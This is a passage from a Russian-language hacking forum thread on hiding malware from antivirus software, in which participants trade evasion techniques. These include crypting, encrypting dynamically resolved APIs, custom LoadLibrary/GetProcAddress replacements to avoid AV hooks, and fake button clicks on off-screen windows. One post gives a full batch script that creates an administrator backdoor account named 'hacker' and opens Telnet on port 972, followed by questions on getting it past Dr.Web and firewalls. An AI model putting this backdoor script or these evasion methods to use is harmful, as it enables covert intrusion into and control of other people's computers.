| 
				
				Способы сокрытия от антивирусов
				 |   |  
| Волк-1024 | Дата: Пятница, 30.12.2011, 01:05 | Сообщение # 26 |  
 
 
 
Авторитетный 
Зарегистрирован: 24.07.2011
 
 
Группа: Модераторы 
Сообщений: 469 
Статус: Offline 
 
 | Вроде. Замусоривание кода уже сейчас не канает. АВ строит логику приложения и если там очень много бесполезных прыжков и тому подобное. Она может наоборот насторожиться. Хотя могу тоже ошибаться. ) 
   Лучше использовать комбинацию: Фейковые API + Динамич. получение функций + их шифрование. 
   ---------------------------------------   Ой, фигню сморозил. Шифрование и дин. получ. функ несовместимы. Совместимы если только искать по имени функции, а не по хэшу.
  Pascal, C\C++, Assembler, Python
 
 Сообщение отредактировал Волк-1024 - Пятница, 30.12.2011, 01:12  |  
|   | 
 |    |  
| Android | Дата: Понедельник, 02.01.2012, 14:29 | Сообщение # 27 |  
 
 
 
Постоянный 
Зарегистрирован: 13.12.2011
 
 
Группа: Пользователи 
Сообщений: 100 
Статус: Offline 
 
 | Ребята, а вы точно на Делфи пишете??? Может кто-то из вас смотрел в сторону KOL - довольно маленькие прогарммки получаются и кстати, стем же набором функций что и VCL палятся значительно меньше почему-то...
 |  
|   | 
 |    |  
| dolphin | Дата: Понедельник, 02.01.2012, 17:37 | Сообщение # 28 |  
 
 
 
 
 
Администратор 
Сообщений: 906 
Статус: Offline 
 
 | Так кол это же объектная библиотека а вирусам это зачем? Если только как альтернатива vcl. В троянце например ,если нужна визуалка, можно и на апи написать, в этом сложного особо нет. Так что   . А не палится потому что мало используют для вирусных целей.
  Система: Windows 10 x64, Kali Linux   Среды программирования: Delphi 7, Delphi 10.x 
   Я не профессионал, я всего лишь любитель   Я не вредитель, я всего лишь теоретик
 
 Сообщение отредактировал dolphin - Понедельник, 02.01.2012, 18:29  |  
|   | 
 |    |  
| phl | Дата: Среда, 04.01.2012, 04:24 | Сообщение # 29 |  
 
 
 
Был не раз 
Зарегистрирован: 28.08.2010
 
 
Группа: Пользователи 
Сообщений: 20 
Статус: Offline 
 
 | А у меня вопрос насчёт криптора, проводил я недавно эксперимент,для него использовал антивирусник drweb, вот код батника открывающего телнет на 972 порту:   chcp 1251   net user SUPPORT_388945a0 /delete   net user hacker hack /add   net localgroup Администраторы hacker /add   net localgroup Пользователи SUPPORT_388945a0 /del   regedit /s conf.reg   sc config tlntsvr start= auto   tlntadmn config port=972 sec=-NTLM   net start Telnet   Антивирусник сразу видит в нём вирус bat.Adduser.43, далее преобразую файл из bat в exe, с помощью программы bat to exe converter и криптую, всё   если проверить файл антивирусником вирус не определяется, думал отлично, но стоит запустить файл и он тут же блокируется и опять выдаёт вирус bat.Adduser.43, хотел бы узнать в чём здесь причина и реально ли это обойти   криптор и вирус во вложении
 
 |  
|   | 
 |    |  
| phl | Дата: Воскресенье, 08.01.2012, 01:32 | Сообщение # 30 |  
 
 
 
Был не раз 
Зарегистрирован: 28.08.2010
 
 
Группа: Пользователи 
Сообщений: 20 
Статус: Offline 
 
 | а уже сам понял, антивирус само добавление нового пользователя в систему с админскими правами и открытие порта воспринимает как подозрительное действие, другой вирус криптовал, норм, не палится
 |  
|   | 
 |    |  
| Волк-1024 | Дата: Вторник, 10.01.2012, 23:57 | Сообщение # 31 |  
 
 
 
Авторитетный 
Зарегистрирован: 24.07.2011
 
 
Группа: Модераторы 
Сообщений: 469 
Статус: Offline 
 
 | Крипт не поможет. Ибо прога не конвертирует из bat в exe, а просто суёт bat в ресурсы exe файла. И при запуске извлекает и запускает его. 80% того, что bat файл после запуска можно обнаружить в темповой папке (если в бат не самоудалиться). Я не знаю как в bat to exe converter, но в Quick Batch File Compiler так всё и происходит. ((( 
   P.S. лучше батник зашифровать, чем экзешник.
  Pascal, C\C++, Assembler, Python
 |  
|   | 
 |    |  
| kalinochkind | Дата: Среда, 11.01.2012, 19:22 | Сообщение # 32 |  
 
 
 
Новичок 
Зарегистрирован: 12.12.2011
 
 
Группа: Пользователи 
Сообщений: 3 
Статус: Offline 
 
 | Можно пробовать Themidу...
 |  
|   | 
 |    |  
| XSPY | Дата: Среда, 11.01.2012, 19:57 | Сообщение # 33 |  
 
 
 
Продвинутый 
Зарегистрирован: 28.01.2010
 
 
Группа: Пользователи 
Сообщений: 263 
Статус: Offline 
 
 | если много подозрительных мест,то это не насторожит антивири,у которых нет "оценки опасности" программы.Хотя тогда у них юзаеться нечто другое.Например,в Авире проверяються состояния флагов и т.п,импорт,секии данных и прочее....   а вообще,стоить нуно и криптовать приложение так,как нравиться аверу.
  Я не крекер,а программист!   Я не преступник-я свободный человек!   Лучше один раз накодить,чем сто раз качать билды!
 |  
|   | 
 |    |  
| phl | Дата: Воскресенье, 29.01.2012, 21:59 | Сообщение # 34 |  
 
 
 
Был не раз 
Зарегистрирован: 28.08.2010
 
 
Группа: Пользователи 
Сообщений: 20 
Статус: Offline 
 
 | от антивирусов то как-нибудь можно спрятаться,но как обойти файрвол?
 |  
|   | 
 |    |  
| Волк-1024 | Дата: Воскресенье, 29.01.2012, 22:51 | Сообщение # 35 |  
 
 
 
Авторитетный 
Зарегистрирован: 24.07.2011
 
 
Группа: Модераторы 
Сообщений: 469 
Статус: Offline 
 
 | Для каждего фаера свои методы...
  Pascal, C\C++, Assembler, Python
 |  
|   | 
 |    |  
| vvova15 | Дата: Понедельник, 30.01.2012, 17:17 | Сообщение # 36 |  
 
 
 
Участник 
Зарегистрирован: 24.04.2010
 
 
Группа: Пользователи 
Сообщений: 83 
Статус: Offline 
 
 | есть еще метод сырой загрузки dll.   суть заключается в том , чтобы вручную загрузить dll в адресное пространство, открыв длл-ку как бинарный файл, считав из pe-заголовка сколько нужно памяти, выделить ее,, загрузить туда заголовки и секции(простым компированием памяти), обработать релоки, распарсить таблицу импорта, найти в ней адрес нужной функции, и т.д.   в общем написать свои аналоги loadlibrary и getprocadress   ведь авири хукают loadlibrary из kernel32.dll и мы тем самым обойдем это и вызовем функцию незаметно для авиря.   проверял на vt - палева вообще 0   да и врятли такое будет палиться, хотя если только если ав будут хукать createfile после этого и если это длл-ка, то орать.   но мы тогда сделаем чтение файла через ioctl запросы к диску и парсинг mft(master file table)   
   вот статейка, кому интересно http://slesh.name/?act=articles&subact=show&nid=12
 
     ICQ 185-398
 
 Сообщение отредактировал vvova15 - Понедельник, 30.01.2012, 17:18  |  
|   | 
 |    |  
| vvova15 | Дата: Вторник, 31.01.2012, 10:19 | Сообщение # 37 |  
 
 
 
Участник 
Зарегистрирован: 24.04.2010
 
 
Группа: Пользователи 
Сообщений: 83 
Статус: Offline 
 
 | да и еще метод:   создать окно за пределами экрана, кнопку на нем , написать обработчик, чтоб по клику на нее делалось палевное действие, и посылать сообщение о кликепо этой кнопке.   ведь авири наиболее подозрительно относятся к программам "без окон без дверей", которые работают не спрашивая юзера ни о чем. а так как бэ все честно, юзер сам кликнул по кнопке и авири пока не палят этот метод.   + кончено же обфускация))(открытие несуществующих файлов между строками нужного кода, проверка невыполнимых условий, высов функций, которые что-то там делают полезное и т.д. )
 
     ICQ 185-398
 
 Сообщение отредактировал vvova15 - Вторник, 31.01.2012, 10:19  |  
|   | 
 |    |  
| Волк-1024 | Дата: Вторник, 31.01.2012, 14:52 | Сообщение # 38 |  
 
 
 
Авторитетный 
Зарегистрирован: 24.07.2011
 
 
Группа: Модераторы 
Сообщений: 469 
Статус: Offline 
 
 | Quote создать окно за пределами экрана,      А не лучше ли так: Code Form1.Visible:=false;   ? 
   И выйдет зверь размером в over 400кб  
  Pascal, C\C++, Assembler, Python
 
 Сообщение отредактировал Волк-1024 - Вторник, 31.01.2012, 14:59  |  
|   | 
 |    |  
| vvova15 | Дата: Вторник, 31.01.2012, 16:29 | Сообщение # 39 |  
 
 
 
Участник 
Зарегистрирован: 24.04.2010
 
 
Группа: Пользователи 
Сообщений: 83 
Статус: Offline 
 
 | Quote Form1.Visible:=false;     нет. http://msdn.microsoft.com/en-us/library/windows/desktop/ms632679 (v=vs.85).aspx   создаешь и регистрируешь класс окна, создаешь окно и описываешь цикл обработки сообщений   x и y в параметрах указываешь отриуательные или over 9000
 
     ICQ 185-398
 
 Сообщение отредактировал vvova15 - Вторник, 31.01.2012, 16:30  |  
|   | 
 |    |  
| xXxSh@dowxXx | Дата: Понедельник, 06.02.2012, 17:01 | Сообщение # 40 |  
 
 
 
Авторитетный 
Зарегистрирован: 22.01.2012
 
 
Группа: Модераторы 
Сообщений: 702 
Статус: Offline 
 
 | Quote (Волк-1024) Form1.Visible:=false;   
   ...да согласен с "vvova15",ведь форма все равно остается видимой даже если Вы выставляете значение Visible:=false;
 |  
|   | 
 |    |  
| Волк-1024 | Дата: Понедельник, 06.02.2012, 17:25 | Сообщение # 41 |  
 
 
 
Авторитетный 
Зарегистрирован: 24.07.2011
 
 
Группа: Модераторы 
Сообщений: 469 
Статус: Offline 
 
 | xXxSh@dowxXx Ну или так Code CreateWindowEx(0, PChar('Win'), PChar('WinMin'), 0, X, Y, Width, Height, 0,  0, Hinstance, nil);   - Без разницы. 
   Окно будет формально создано.
  Pascal, C\C++, Assembler, Python
 
 Сообщение отредактировал Волк-1024 - Понедельник, 06.02.2012, 17:37  |  
|   | 
 |    |     
		
		
 
 
  
 |